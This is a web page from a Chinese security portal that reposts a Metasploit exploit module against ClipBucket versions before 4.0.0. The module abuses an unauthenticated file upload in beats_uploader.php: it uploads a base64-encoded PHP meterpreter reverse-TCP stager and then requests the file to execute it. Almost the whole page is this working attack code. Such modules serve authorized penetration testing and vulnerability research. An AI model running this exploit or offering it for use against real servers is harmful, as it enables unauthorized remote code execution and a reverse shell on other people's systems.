首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ClipBucket beats_uploader Unauthenticated Arbitrary File Upload
来源:metasploit.com 作者:Shaikh 发布时间:2018-03-27  
##
# This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",
      'Description'    => %q{
        This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902).
        A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability.
        It is possible for an attacker to upload a malicious script to issue operating system commands.
        This issue is caused by improper session handling in /action/beats_uploader.php file.
        This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'www.sec-consult.com', # Vulnerability Discovery, PoC
          'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit module
        ],
      'References'      =>
        [
          [ 'EDB', '44250' ]
        ],
      'DefaultOptions' =>
          {
            'SSL'     => false,
            'PAYLOAD' => 'php/meterpreter/reverse_tcp',
            'Encoder' => 'php/base64'
          },
      'Platform'        => ['php'],
      'Arch'            => ARCH_PHP,
      'Targets'         =>
        [
          ['Clipbucket < 4.0.0 - Release 4902', {}]
        ],
      'Privileged'      => false,
      'DisclosureDate'  => "Mar 03 2018",
      'DefaultTarget'   => 0))

    register_options(
      [
       OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])
      ])
  end

  def uri
    return target_uri.path
  end

  def check
    vprint_status('Trying to detect ClipBucket on target.')

    # check for readme file
    res = send_request_cgi({
     'method' => 'GET',
     'uri'    => normalize_uri(uri, 'readme')
    })

    unless res
      vprint_error('Connection failed')
      return CheckCode::Unknown
    end

    unless res.code == 200 && res.body.include?('ClipBucket')
      vprint_error('Could not find readme')
      return CheckCode::Safe
    end

    # check for beats_uploader.php file
    res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(uri, 'actions', 'beats_uploader.php')
    })

    unless res
      vprint_error('Connection failed')
      return CheckCode::Unknown
    end

    unless res.code == 200
      vprint_error('Could not find beats_uploader.php')
      return CheckCode::Safe
    end

    Exploit::CheckCode::Appears
  end

  def exploit

    # generate the PHP meterpreter payload
    stager = '<?php '
    stager << payload.encode
    stager << '?>'

    # Setting POST data
    post_data = Rex::MIME::Message.new
    post_data.add_part(stager, content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = 'form-data; name="file"; filename="pfile.php"') # payload
    post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="plupload"') # require for uploading
    post_data.add_part('agent22.php', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="name"')
    data = post_data.to_s


    print_status('Uploading payload..')
    res = send_request_cgi({
        'method' => 'POST',
        'uri'    => normalize_uri(uri, 'actions', 'beats_uploader.php'),
        'data'  => data,
        'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
    })

    jsonres = res.get_json_document

    # If the server returns 200 and success yes, we assume we uploaded the malicious
    # file successfully
    unless res && res.code == 200 && jsonres['success'] == 'yes'
      fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
    end
    print_good('Looking For Payload..')
    pdir = jsonres['file_directory']
    file_name = jsonres['file_name']
    pext = jsonres['extension']
    print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}")

    # Payload name
    pname = "#{file_name}.php"

    # Cleanup is Good Idea .
    register_files_for_cleanup(pname)

    print_status("Executing Payload [ #{uri}/actions/#{pdir}/#{pname} ]" )
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, 'actions', pdir, pname)
    })

    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.
    if res && res.code != 200
      print_error('Unexpected response, probably the exploit failed')
    end
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Laravel Log Viewer < 0.13.0 -
·Tenda N11 Wireless Router 5.07
·Fast AVI MPEG Splitter 1.2 - S
·TwonkyMedia Server 7.0.11-8.5
·Easy Avi Divx Xvid to DVD Burn
·SysGauge 4.5.18 Denial Of Serv
·Easy CD DVD Copy 1.3.24 - Loca
·Square 9 GlobalForms 6.2.x Bli
·XenForo 2 - CSS Loader Denial
·Allok AVI DivX MPEG To DVD Con
·TL-WR720N 150Mbps Wireless N R
·Drupal 7.0 < 7.31 - 'Drupalged
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved